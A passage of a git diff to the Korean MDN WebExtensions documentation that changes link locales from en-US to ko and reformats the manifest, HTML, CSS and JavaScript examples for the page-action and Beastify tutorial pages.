+| `default_icon`                                                                          | `Object` or `String`                           | 액션이 사용하는 아이콘.권장은 19x19 픽셀과 38x38 픽셀 두 종류가 제공되는 것이다. 아래처럼 각각 "19" 와 "38"이라는 속성 이름을 사용한다:                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | <pre class="brush: json">"page_action": {"browser_style": true,"default_icon": {"19": "button/geo-19.png","38": "button/geo-38.png"},"default_title": "Whereami?","default_popup": "popup/geo.html"}</pre>이렇게 하면 화면 해상도에 따라 적절한 크기를 사용하게 된다.아래처럼 하나의 문자열로 할 수도 있다:<pre class="brush: json">"default_icon": "geo.png"</pre>이렇게 하면 툴바에 맞게 크기가 조정될 것이다. 흐릿해질 수 있다. |
+| `default_popup`                                                                         | `String`                                       | 팝업으로 띄울 HTML 파일의 경로.HTML 파일은 일반 웹 페이지처럼 [`<link>`](/ko/docs/Web/HTML/Element/link)와 [`<script>`](/ko/docs/Web/HTML/Element/script) 요소를 사용해서 CSS와 자바스크립트를 포함할 수 있다. 하지만 [`<script>`](/ko/docs/Web/HTML/Element/script) 사이에 코드를 직접 포함하면 Content Violation Policy 에러가 발생하므로, [`src`](/ko/docs/Web/HTML/Element/script) 속성으로 분리된 스크립트 파일을 올려야 한다.보통의 웹페이지와 달리, 팝업에서 실행되는 자바스크립트는 모든 [WebExtension API](/en-US/Add-ons/WebExtensions/API)를 사용할 수 있다(당연히 필요한 [권한](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)을 가져야 한다).이것은 [지역화 가능 속성](/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json)이다. |
+| `default_title`                                                                         | `String`                                       | 아이콘에 마우스가 올려지면 표시되는 툴팁.이것은 [지역화 가능 속성](/en-US/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json)이다.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| `hide_matches`                                                                          | `Array` of `Match Pattern` except `<all_urls>` | 주어진 [선별식](/en-US/Add-ons/WebExtensions/match_patterns)에 맞는 URL에 대해 페이지 액션을 숨긴다.하지만 페이지 액션은 기본적으로 숨겨지고 `show_matches`와 맞아야만 보이기 때문에, `반드시 show_matches`가 있어야 의미가 있다. 이 값은 `show_matches` 일부를 제외하는 역할을 한다. 예를 들어 값이 다음과 같다면:<pre class="brush: json">"page_action": { "show_matches": ["https://*.mozilla.org/*"], "hide_matches": ["https://developer.mozilla.org/*"] }</pre>pre>기본은 "mozilla.org"인 모든 HTTPS URL에 대해 페이지 액션이 표시되는 것이지만, "developer.mozilla.org"인 경우는 제외라 표시되지 않는다.                                                                                                                                                                                 |
+| `show_matches`                                                                          | `Array` of `Match Pattern`                     | 주어진 패턴에 일치하는 URL에 대해 페이지 액션을 보인다.`hide_matches`도 보기.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `pinned`                                                                                | `Boolean`                                      | 선택, 기본값은 `true`.주소창에 페이지 액션이 기본적으로 나타나는지를 결정한다.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
 
 ## 예제
 
@@ -89,12 +73,12 @@ slug: Mozilla/Add-ons/WebExtensions/manifest.json/page_action
     "38": "button/geo-38.png"
   }
 }
-````
+```
 
 그냥 아이콘만 있는 페이지 액션으로 아이콘을 누르면 확장의 background 스크립트는 아래처럼 해서 click 이벤트를 받을 수 있다:
 
 ```js
- browser.pageAction.onClicked.addListener(handleClick);
+browser.pageAction.onClicked.addListener(handleClick);
 ```
 
 ```json
@@ -116,6 +100,6 @@ slug: Mozilla/Add-ons/WebExtensions/manifest.json/page_action
 
 ## See also
 
-- [`browser_action`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action)
-- [`sidebar_action`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action)
+- [`browser_action`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action)
+- [`sidebar_action`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/sidebar_action)
 - [Browser styles](/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles)
diff --git a/files/ko/mozilla/add-ons/webextensions/user_actions/index.md b/files/ko/mozilla/add-ons/webextensions/user_actions/index.md
index 89a0eb24c8b462..129c0a92291a34 100644
--- a/files/ko/mozilla/add-ons/webextensions/user_actions/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/user_actions/index.md
@@ -29,7 +29,7 @@ browser.browserAction.onClicked.addListener(handleClick);
 
 Note that user actions in normal web pages are not treated as user actions for this purpose. For example, if a user clicks a button in a normal web page, and a content script has added a click handler for that button and in that handler sends a message to the extension's background page, then the background page message handler is not considered to be handling a user action.
 
-Also, if a user input handler waits on a [promise](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise), then its status as a user input handler is lost. For example:
+Also, if a user input handler waits on a [promise](/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise), then its status as a user input handler is lost. For example:
 
 ```js
 async function handleClick() {
diff --git a/files/ko/mozilla/add-ons/webextensions/user_interface/index.md b/files/ko/mozilla/add-ons/webextensions/user_interface/index.md
index 842e8b4109a4f8..fc2001f50b8045 100644
--- a/files/ko/mozilla/add-ons/webextensions/user_interface/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/user_interface/index.md
@@ -21,7 +21,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action"
           >Toolbar button</a
         >
         (browser action)
@@ -41,7 +41,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
       <td>
         Toolbar button with a
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups"
           >popup</a
         >
       </td>
@@ -60,7 +60,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions"
           >Address bar button</a
         >
         (page action)
@@ -80,7 +80,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
       <td>
         Address bar button with a
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups"
           >popup</a
         >
       </td>
@@ -99,7 +99,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items"
           >Context menu item</a
         >
       </td>
@@ -119,7 +119,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars"
           >Sidebar</a
         >
       </td>
@@ -136,7 +136,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages"
           >Options page</a
         >
       </td>
@@ -155,7 +155,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages"
           >Extension page</a
         >
       </td>
@@ -173,7 +173,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications"
           >Notification</a
         >
       </td>
@@ -193,7 +193,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox"
           >Address bar suggestion</a
         >
       </td>
@@ -210,7 +210,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
     <tr>
       <td>
         <a
-          href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels"
+          href="/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels"
           >Developer tools panel</a
         >
       </td>
@@ -231,7 +231,7 @@ Extensions that use WebExtension APIs are provided with several user interface o
 The following how-to guides provide step-by-step guidance to creating some of these user interface options:
 
 - [Accessibility guidelines](https://extensionworkshop.com/documentation/develop/build-an-accessible-extension/)
-- [Add a button to the toolbar](/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar)
-- [Browser styles](/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles)
-- [Extending the developer tools](/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools)
-- [Implement a settings page](/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page)
+- [Add a button to the toolbar](/ko/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar)
+- [Browser styles](/ko/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles)
+- [Extending the developer tools](/ko/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools)
+- [Implement a settings page](/ko/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page)
diff --git a/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.md b/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.md
index 701cdbdb546b20..2c1dfdd840db67 100644
--- a/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.md
@@ -2,6 +2,7 @@
 title: Address bar button
 slug: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
 ---
+
 {{AddonSidebar}}
 
 주소줄에 추가되는 버튼으로 사용자가 확장 프로그램과 상호작용하는 일명 [페이지 액션](/ko/docs/Mozilla/Add-ons/WebExtensions/API/pageAction) 을 말한다.
@@ -33,7 +34,7 @@ slug: Mozilla/Add-ons/WebExtensions/user_interface/Page_actions
 
 ## 페이지 액션 기술하기
 
-페이지 액션의 속성은 manifest.json의 [`page_action`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action) 항목에서 정의한다:
+페이지 액션의 속성은 manifest.json의 [`page_action`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/page_action) 항목에서 정의한다:
 
 ```json
 "page_action": {
@@ -58,7 +59,7 @@ browser.pageAction.onClicked.addListener(handleClick);
 
 주목! 확장 프로그램은 페이지 액션을 하나만 가질 수 있다.
 
-페이지 액션의 속성은 [`pageAction`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction) API로 프로그램적으로 바꿀 수 있다.
+페이지 액션의 속성은 [`pageAction`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/pageAction) API로 프로그램적으로 바꿀 수 있다.
 
 ## 아이콘
 
diff --git a/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.md b/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.md
index 875eda21065d64..48718d3c95088f 100644
--- a/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.md
@@ -5,7 +5,7 @@ slug: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions
 
 {{AddonSidebar}}
 
-> **참고:** 만약 브라우저 확장 기능의 기본적인 개념은 이미 익숙하다면, 이 섹션을 스킵하고 [확장 기능 파일이 어떻게 구성되는지 읽어보세요](/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension). 그 다음, [참고 문서](/en-US/docs/Mozilla/Add-ons/WebExtensions#reference)와 함께 확장 기능을 개발해 보세요. [Firefox Extension Workshop](https://extensionworkshop.com/?utm_source=developer.mozilla.org&utm_medium=documentation&utm_campaign=your-first-extension)을 방문하여 Firefox용 테스트, 게시 및 확장 기능에 대한 작업 흐름에 대해 자세히 알아보세요.
+> **참고:** 만약 브라우저 확장 기능의 기본적인 개념은 이미 익숙하다면, 이 섹션을 스킵하고 [확장 기능 파일이 어떻게 구성되는지 읽어보세요](/ko/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension). 그 다음, [참고 문서](/ko/docs/Mozilla/Add-ons/WebExtensions#reference)와 함께 확장 기능을 개발해 보세요. [Firefox Extension Workshop](https://extensionworkshop.com/?utm_source=developer.mozilla.org&utm_medium=documentation&utm_campaign=your-first-extension)을 방문하여 Firefox용 테스트, 게시 및 확장 기능에 대한 작업 흐름에 대해 자세히 알아보세요.
 
 확장 기능은 브라우저에 기능을 추가합니다. 확장 기능은 표준 웹 기술(HTML, CSS, JavaScript)을 이용해 만들어집니다. 확장 기능은 JavaScript에서 사용되는 웹 API 뿐만이 아니라 전용 JavaScript API에도 접근할 수 있어 웹페이지의 코드가 할 수 있는 것보다 더 많은 일을 할 수 있습니다. 다음은 수행할 수 있는 작업의 몇 가지 예시입니다.
 
@@ -27,7 +27,7 @@ Examples: [MyWeb New Tab](https://chrome.google.com/webstore/detail/myweb-new-ta
 
 Examples: [uBlock Origin](https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/), [Reader](https://addons.mozilla.org/en-US/firefox/addon/reader/), and [Toolbox for Google Play Store™](https://addons.mozilla.org/en-US/firefox/addon/toolbox-google-play-store/).
 
-**도구 및 새로운 브라우징 기능 추가**: 작업 보드에 새로운 기능을 추가하거나, URL, 하이퍼링크, 화면의 글자로부터 QR코드 이미지를 생성합니다. [WebExtensions APIs](/en-US/docs/Mozilla/Add-ons/WebExtensions)가 제공하는 유연한 UI 옵션들과 강력한 기능을 통해 브라우저에 새로운 기능을 쉽게 추가할 수 있습니다. 그리고 당신의 웹사이트가 아니더라도, 거의 모든 웹사이트의 기능을 향상시킬 수 있습니다.
+**도구 및 새로운 브라우징 기능 추가**: 작업 보드에 새로운 기능을 추가하거나, URL, 하이퍼링크, 화면의 글자로부터 QR코드 이미지를 생성합니다. [WebExtensions APIs](/ko/docs/Mozilla/Add-ons/WebExtensions)가 제공하는 유연한 UI 옵션들과 강력한 기능을 통해 브라우저에 새로운 기능을 쉽게 추가할 수 있습니다. 그리고 당신의 웹사이트가 아니더라도, 거의 모든 웹사이트의 기능을 향상시킬 수 있습니다.
 
 ![QR코드 생성기 애드온 예제](qr_code_image_generator_add_on.png)
 
@@ -43,7 +43,7 @@ Examples: [Solitaire Card Game](https://addons.mozilla.org/en-US/firefox/addon/s
 
 Examples: [Web Developer](https://addons.mozilla.org/en-US/firefox/addon/web-developer/), [Web React Developer Tools](https://addons.mozilla.org/en-US/firefox/addon/react-devtools/), and [aXe Developer Tools](https://addons.mozilla.org/en-US/firefox/addon/axe-devtools/).
 
-Firefox 용 확장 프로그램은 확장 기능 개발을 위한 크로스 브라우저 시스템인 [WebExtensions APIs](/en-US/docs/Mozilla/Add-ons/WebExtensions)를 사용하여 만들어집니다. 대부분의 경우 API는 Google 크롬 및 Opera에서 지원하는 [extension API](https://developer.chrome.com/extensions)와 호환됩니다. 대부분의 경우 이러한 브라우저 용으로 작성된 확장 프로그램은 Firefox 또는 Microsoft Edge에서 몇 가지 [변경 사항](/en-US/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension)만으로 실행됩니다. API는 [멀티프로세스 Firefox](/en-US/Firefox/Multiprocess_Firefox)와도 완벽하게 호환됩니다.
+Firefox 용 확장 프로그램은 확장 기능 개발을 위한 크로스 브라우저 시스템인 [WebExtensions APIs](/ko/docs/Mozilla/Add-ons/WebExtensions)를 사용하여 만들어집니다. 대부분의 경우 API는 Google 크롬 및 Opera에서 지원하는 [extension API](https://developer.chrome.com/extensions)와 호환됩니다. 대부분의 경우 이러한 브라우저 용으로 작성된 확장 프로그램은 Firefox 또는 Microsoft Edge에서 몇 가지 [변경 사항](/en-US/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension)만으로 실행됩니다. API는 [멀티프로세스 Firefox](/en-US/Firefox/Multiprocess_Firefox)와도 완벽하게 호환됩니다.
 
 질문 혹은 아이디어가 있거나, [기존 Extension을 WebExtensions API로 마이그레이션 할 때](https://extensionworkshop.com/documentation/develop/porting-a-legacy-firefox-extension/) 도움이 필요하다면 [Add-ons Discourse](https://discourse.mozilla.org/c/add-ons/35)나 [Matrix](https://wiki.mozilla.org/Matrix)의 [Add-ons room](https://chat.mozilla.org/#/room/#addons:mozilla.org)로 요청해주세요.
 
diff --git a/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.md b/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.md
index d74e2df6066fb2..20937ef49f27fa 100644
--- a/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.md
@@ -2,6 +2,7 @@
 title: Your first extension
 slug: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension
 ---
+
 {{AddonSidebar}}
 
 이 글에서 우리는 "mozilla.org"와 그 하위 도메인 페이지에서 불러온 페이지에 붉은 테두리를 추가하는 확장 기능을 만들게 됩니다. 이를 통해 어떻게 Firefox를 위한 확장 기능을 만들 수 있는지 알아보고자 합니다.
@@ -26,7 +27,6 @@ cd borderify
 
 ```json
 {
-
   "manifest_version": 2,
   "name": "Borderify",
   "version": "1.0",
@@ -43,7 +43,6 @@ cd borderify
       "js": ["borderify.js"]
     }
   ]
-
 }
 ```
 
diff --git a/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.md b/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.md
index ff1003dd405b2b..0f13501e7cb662 100644
--- a/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.md
+++ b/files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.md
@@ -2,6 +2,7 @@
 title: Your second extension
 slug: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension
 ---
+
 {{AddonSidebar}}
 
 [Your first extension](/ko/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension) 장을 읽었다면, 확장 기능을 만드는 법을 알게 되었을 것입니다. 이번 장에서는 몇개의 API를 사용하는 약간 더 복잡한 확장 기능을 만들어 보겠습니다.
@@ -51,20 +52,17 @@ cd beastify
 
 ```json
 {
-
   "manifest_version": 2,
   "name": "Beastify",
   "version": "1.0",
 
-  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Examples#beastify",
+  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/ko/docs/Mozilla/Add-ons/WebExtensions/Examples#beastify",
   "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
   "icons": {
     "48": "icons/beasts-48.png"
   },
 
-  "permissions": [
-    "activeTab"
-  ],
+  "permissions": ["activeTab"],
 
   "browser_action": {
     "default_icon": "icons/beasts-32.png",
@@ -77,21 +75,20 @@ cd beastify
     "beasts/turtle.jpg",
     "beasts/snake.jpg"
   ]
-
 }
 ```
 
-- 첫 세 가지 키인 [`manifest_version`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version), [`name`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name), and [`version`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version)는, 필수로 포함되어야 하며 확장 기능의 기본 정보입니다.
-- [`description`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description) 과 [`homepage_url`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url)은 선택사항이나, 확장 기능에 관한 유용한 정보를 가지기에 권장됩니다.
-- [`icons`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons) 도 선택사항이나 애드온 매니저에서 확장 기능 아이콘을 보여줄 수 있기에 권장됩니다.
-- [`permissions`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) 은 확장 기능이 필요로 하는 권한의 목록입니다. 이 확장 기능에서는 [`activeTab` 권한](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 을 사용합니다.
-- [`browser_action`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action)는 툴바에 나오는 버튼을 정의하고 세 가지 정보를 정의합니다.
+- 첫 세 가지 키인 [`manifest_version`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version), [`name`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/name), and [`version`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/version)는, 필수로 포함되어야 하며 확장 기능의 기본 정보입니다.
+- [`description`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/description) 과 [`homepage_url`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url)은 선택사항이나, 확장 기능에 관한 유용한 정보를 가지기에 권장됩니다.
+- [`icons`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/icons) 도 선택사항이나 애드온 매니저에서 확장 기능 아이콘을 보여줄 수 있기에 권장됩니다.
+- [`permissions`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) 은 확장 기능이 필요로 하는 권한의 목록입니다. 이 확장 기능에서는 [`activeTab` 권한](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) 을 사용합니다.
+- [`browser_action`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action)는 툴바에 나오는 버튼을 정의하고 세 가지 정보를 정의합니다.
 
   - `default_icon` 는 필수이고, 버튼의 아이콘을 정의합니다.
   - `default_title` 는 선택사항이고 툴팁을 정의합니다.
   - `default_popup` 은 사용자가 버튼을 클릭할때 팝업을 보여주고 싶을 때 사용합니다. 이 키로 확장 기능에 포함된 HTML파일을 지정합니다.
 
-- [`web_accessible_resources`](/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources)는 웹페이지에서 접근가능한 파일들의 목록입니다. 확장 기능은 이미지로 웹페이지의 컨텐츠를 변경해야하기에 이 이미지들이 페이지에 접근 가능하게 해야 합니다.
+- [`web_accessible_resources`](/ko/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources)는 웹페이지에서 접근가능한 파일들의 목록입니다. 확장 기능은 이미지로 웹페이지의 컨텐츠를 변경해야하기에 이 이미지들이 페이지에 접근 가능하게 해야 합니다.
 
 모든 경로는 manifest.json의 위치를 기준으로 한 상대 경로입니다.
 
@@ -99,7 +96,7 @@ cd beastify
 
 확장 기능은 아이콘을 가져야 합니다. 이 아이콘은 애드온 매니저("about:addons" url을 통해 열 수 있습니다)에서 확장 기능의 목록에서 보여집니다. 이번에 만든 manifest.json는 "icons / beasts-48.png" 아이콘을 정의했습니다.
 
-"icons"라는 디렉토리를 만들고 "beasts-48.png" 파일을 그 아래에 저장하겠습니다. 우리 예제는 [Aha-Soft’s Free Retina iconset](https://www.iconfinder.com/iconsets/free-retina-icon-set)에서 가져온 이미지를 [라이센스](http://www.aha-soft.com/free-icons/free-retina-icon-set/) 조건에 따라 사용했습니다.
+"icons"라는 디렉토리를 만들고 "beasts-48.png" 파일을 그 아래에 저장하겠습니다. 우리 예제는 [Aha-Soft's Free Retina iconset](https://www.iconfinder.com/iconsets/free-retina-icon-set)에서 가져온 이미지를 [라이센스](http://www.aha-soft.com/free-icons/free-retina-icon-set/) 조건에 따라 사용했습니다.
 
 자신만의 아이콘을 사용하려면 48x48 픽셀이어야 합니다. 또한 고해상도를 위한 96x96 픽셀도 지원합니다. 만약 고해상도를 지원하게 하고싶다면 manifest.json의 아이콘 부분을 아래처럼 작성하면 됩니다.
 
@@ -139,31 +136,31 @@ touch choose_beast.html choose_beast.css choose_beast.js
 HTML파일의 내용은 다음과 같습니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 
 <html>
   <head>
-    <meta charset="utf-8">
-    <link rel="stylesheet" href="choose_beast.css"/>
+    <meta charset="utf-8" />
+    <link rel="stylesheet" href="choose_beast.css" />
   </head>
 
-<body>
-  <div id="popup-content">
-    <div class="button beast">Frog</div>
-    <div class="button beast">Turtle</div>
-    <div class="button beast">Snake</div>
-    <div class="button reset">Reset</div>
-  </div>
-  <div id="error-content" class="hidden">
-    <p>Can't beastify this web page.</p><p>Try a different page.</p>
-  </div>
-  <script src="choose_beast.js"></script>
-</body>
-
+  <body>
+    <div id="popup-content">
+      <div class="button beast">Frog</div>
+      <div class="button beast">Turtle</div>
+      <div class="button beast">Snake</div>
+      <div class="button reset">Reset</div>
+    </div>
+    <div id="error-content" class="hidden">
+      <p>Can't beastify this web page.</p>
+      <p>Try a different page.</p>
+    </div>
+    <script src="choose_beast.js"></script>
+  </body>
 </html>
 ```
 
-각각의 동물들을 보여주는 항목을 가지는 [`<div>`](/en-US/docs/Web/HTML/Element/div) 요소의 ID에 `"popup-content"` 를 정의했습니다. 또 다른 `"error-content"` ID를 가지는 `<div>`는 `"hidden"` 이라는 class를 정의하였고 팝업을 초기화 할때 문제가 생기는 경우 사용할 것입니다.
+각각의 동물들을 보여주는 항목을 가지는 [`<div>`](/ko/docs/Web/HTML/Element/div) 요소의 ID에 `"popup-content"` 를 정의했습니다. 또 다른 `"error-content"` ID를 가지는 `<div>`는 `"hidden"` 이라는 class를 정의하였고 팝업을 초기화 할때 문제가 생기는 경우 사용할 것입니다.
 
 이 HTML파일은 일반 웹페이지처럼 CSS파일과 JS파일을 포함합니다.
 
@@ -172,7 +169,8 @@ HTML파일의 내용은 다음과 같습니다.
 이 CSS는 팝업의 크기를 정의하고 선택항목의 공간을 정의하는 등 기본적인 스타일링을 합니다. 또한 `class="hidden"` 이라고 정의한 항목을 숨깁니다. 이것은 `"error-content"` `<div>` 가 기본적으로는 숨겨진다는 것을 뜻합니다.
 
 ```css
-html, body {
+html,
+body {
   width: 100px;
 }
 
@@ -189,19 +187,19 @@ html, body {
 }
 
 .beast:hover {
-  background-color: #CFF2F2;
+  background-color: #cff2f2;
 }
 
 .beast {
-  background-color: #E5F2F2;
+  background-color: #e5f2f2;
 }
 
 .reset {
-  background-color: #FBFBC9;
+  background-color: #fbfbc9;
 }
 
 .reset:hover {
-  background-color: #EAEA9D;
+  background-color: #eaea9d;
 }
 ```
 
@@ -224,7 +222,6 @@ const hidePage = `body > :not(.beastify-image) {
  */
 function listenForClicks() {
   document.addEventListener("click", (e) => {
-
     /**
      * Given the name of a beast, get the URL to the corresponding image.
      */
@@ -245,11 +242,11 @@ function listenForClicks() {
      * send a "beastify" message to the content script in the active tab.
      */
     function beastify(tabs) {
-      browser.tabs.insertCSS({code: hidePage}).then(() => {
+      browser.tabs.insertCSS({ code: hidePage }).then(() => {
         let url = beastNameToURL(e.target.textContent);
         browser.tabs.sendMessage(tabs[0].id, {
           command: "beastify",
-          beastURL: url
+          beastURL: url,
         });
       });
     }
@@ -259,7 +256,7 @@ function listenForClicks() {
      * send a "reset" message to the content script in the active tab.
      */
     function reset(tabs) {
-      browser.tabs.removeCSS({code: hidePage}).then(() => {
+      browser.tabs.removeCSS({ code: hidePage }).then(() => {
         browser.tabs.sendMessage(tabs[0].id, {
           command: "reset",
         });
@@ -278,12 +275,13 @@ function listenForClicks() {
      * then call "beastify()" or "reset()" as appropriate.
      */
     if (e.target.classList.contains("beast")) {
-      browser.tabs.query({active: true, currentWindow: true})
+      browser.tabs
+        .query({ active: true, currentWindow: true })
         .then(beastify)
         .catch(reportError);
-    }
-    else if (e.target.classList.contains("reset")) {
-      browser.tabs.query({active: true, currentWindow: true})
+    } else if (e.target.classList.contains("reset")) {
+      browser.tabs
+        .query({ active: true, currentWindow: true })
         .then(reset)
         .catch(reportError);
     }
@@ -305,12 +303,13 @@ function reportExecuteScriptError(error) {
  * and add a click handler.
  * If we couldn't inject the script, handle the error.
  */
-browser.tabs.executeScript({file: "/content_scripts/beastify.js"})
-.then(listenForClicks)
-.catch(reportExecuteScriptError);
+browser.tabs
+  .executeScript({ file: "/content_scripts/beastify.js" })
+  .then(listenForClicks)
+  .catch(reportExecuteScriptError);
 ```
 
-이 코드의 시작접은 96번째 라인입니다. 이 스크립트는 [`browser.tabs.executeScript()`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) API를 사용해 팝업이 로드될때 활성화된 탭에 content script (beastify.js)를 주입합니다. content script를 성공적으로 주입하면 사용자가 탭을 닫거나 페이지를 이동할 때까지 content script가 주입 된 상태로 유지됩니다.
+이 코드의 시작접은 96번째 라인입니다. 이 스크립트는 [`browser.tabs.executeScript()`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) API를 사용해 팝업이 로드될때 활성화된 탭에 content script (beastify.js)를 주입합니다. content script를 성공적으로 주입하면 사용자가 탭을 닫거나 페이지를 이동할 때까지 content script가 주입 된 상태로 유지됩니다.
 
